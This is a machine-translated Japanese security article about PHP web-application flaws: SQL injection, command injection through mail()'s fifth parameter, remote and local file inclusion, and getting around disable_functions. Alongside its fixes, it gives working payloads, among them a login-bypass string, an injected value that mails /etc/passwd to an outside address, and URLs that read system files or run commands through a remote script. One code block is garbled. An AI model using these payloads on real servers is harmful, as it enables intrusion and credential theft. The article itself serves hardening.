安全性
原文: san (Xiao Xu)
出典: http://www.xfocus.org
Scarlet の研究 - PHP アプリケーションの一般的な脆弱性の悪用
之狗头続Mintle
by san@netguard.com.cn
Shaun Clowes 「PHP アプリケーションの一般的な脆弱性の悪用」という記事は、実際に非常によく書かれており、多くの側面を考慮しています。この記事は記事の続きであり、あまり言及されていないいくつかの問題を追加しています。この記事は、
攻撃ではなく、問題解決に焦点を当てています。
1. 古代の欺瞞的な SQL ステートメント
デフォルトモードでは、php.ini を /usr/local/lib/php.ini にコピーするのを忘れたとしても、php は依然として magic_quotes_gpc=on をオンにします。
このようにして、GET/POST/Cookie からの変数のすべての一重引用符 (')、二重引用符 (")、バックスラッシュ () およびヌル文字 NUL
(ヌル バイト) にバックスラッシュが追加されます。
ただし、php-4-RC2 が設定ファイル php.ini-optimized を導入すると、この最適化された php.ini が
magic_quotes_gpc=off になる場合があります。
/usr/local/lib/php.ini にコピーします。これは、現時点ではより危険です。必要な文字がフィルタされていないと仮定すると、次のようになります。
select * from login where user=' $HTTP_POST_VARS[user] ' and pass='$HTTP_POST_VARS[pass]'
ユーザー ボックスとパスワード ボックスに 1' または 1='1 を入力すると、検証に合格できます。これは非常に古い方法で、このステートメントは
次のように置き換えられます。
select * from login where user='1' or 1='1' and pass='1' or 1='1'
or 1='1' が true なので、解決するのが最善の方法です。不要な文字をすべて除外する GET/POST/Cookie から取得され、SQL で使用される変数にカスタム関数を追加することもお勧めします。
function gpc2sql($str) {
if( get_magic_quotes_gpc()==1) PHP-4.0.5のパラメーターは、5番目のパラメーターを導入しました。コマンドの実行に関する問題:
mail("nobody@aol.com", "the subject", $message, "From: webmaster@$SERVER_NAME", "-fwebmaster@$SERVERNAME");
これには問題があります。$SERVER_NAME=;mail san@xfocus.org < /etc/passwd の場合、マシンのパスワードが私のメールボックスに送信されます。
ここで注意してください。PHP マニュアルにはセキュリティ上の問題のある例がいくつかありますが、実際に使用する場合は、その関数の基本的な機能を説明しているだけなので、それを理解してください。
メール関数のこの問題に対して、最も簡単な方法は、第 5 引数を使用しないことです。使用したい場合は、(;) などの不正な文字をフィルターし、メール関数のプログラム ext/standard/mail.c を変更するだけです。
php ソース コード パッケージ。 if (extra_cmd != NULL) { の前に次の行を追加します。
extra_cmd=NULL
その後、再コンパイルします。
3. UNIX バージョンの require 関数と include 関数
win バージョンの require 関数と include 関数は HTTP および FTP リモート ファイルのインクルードをサポートしませんが、UNIX バージョンはデフォルトでリモート インクルード ファイルをサポートします。
require と include は、どのような拡張子を持っていても、含まれている場合はプログラムの一部として実行されます。
プログラムを作成するとき、プログラムのモジュール化と移植性を高めるために、必然的に多くの require 関数や include 関数を使用します。
また、次のような変数がパラメーターとして使用されることもあります。現時点では、ユーザーは $something パラメータを制御できますが、この
パラメータはフィルタリングされていません。これは悲惨なことです。
まず、Web ユーザーが読み取り権限を持つファイルを表示できます。プログラムの名前が http://victim/test.php であるとすると、次の
URL: http://victim/test.php を使用できます。 ?something=/etc /passwd /etc/passwd ファイルを参照してください。
さらに、リモート ファイルに含まれる関数を使用してコマンドを実行することもできます。たとえば、www.xfocus.org の下にファイル test.php を作成し、その内容が
である場合、次の URL を使用できます:
http://victim/ test.php?something=http://www.xfocus.org/test.php?cmd=uname これにより、任意のコマンドを実行できます。
この問題は phpMyAdmin でも発生します。phpMyAdmin を使用して、見たいファイルを表示できます。ただし、 include する前に、まず file_exist
関数を使用してファイルが存在するかどうかを判断します。この file_exist はリモート ファイルをサポートしていないため、上記の 2 番目の方法を直接使用することはできません。ただし、Apache のログ機能を使用して、PHP コードで URL をリクエストすることもできます。このように、Apache として指定されたもののログでもコマンドを実行できます。ただし、Apache のログは通常、比較的多くの情報を含んでいます。 。
http://www.securereality.com.au/sradv00008.txt で説明されている方法は、より賢明です。ファイル アップロードを使用して、ローカルの
コマンド実行スクリプトをアップロードします。これにより、サーバーの一時ファイル アップロード ディレクトリに php8Ta02I などが生成されます。この時点ではファイルが存在するため、file_exist関数によりアップロードされたファイル内の実行スクリプトを実行することができます。
そのため、include 関数と require 関数を使用するときは、特にインクルードされるファイルがパラメーターで指定されている場合、ユーザーがパラメーターを制御してはいけないことに注意する必要があります。 php.ini ファイルを変更して、リモート ファイルの組み込みを削除する機能もあります。これは php-4.0.3 より前では
disable-url-fopen-wrapper とともに使用されていました。それ以降のバージョンでは、allow_url_fopen = off を使用してオフにします。
4. disable_function
php-4.0.1 では、関数 disable_functions が php.ini に導入され、より便利で、いくつかの機能を無効にするために使用できます。
たとえば、disable_functions = passthru exec system Popen を php.ini に追加すると、これらの関数を実行するときに、
警告: system() はセキュリティ上の理由から無効になっています
ああ、しかし実行できないわけではありません。システムコマンド。たとえば、PHP は多くの Perl 機能を使用するため、(`) を使用してコマンドを実行することもできます。
$output = `ls -al`;
echo "
$output";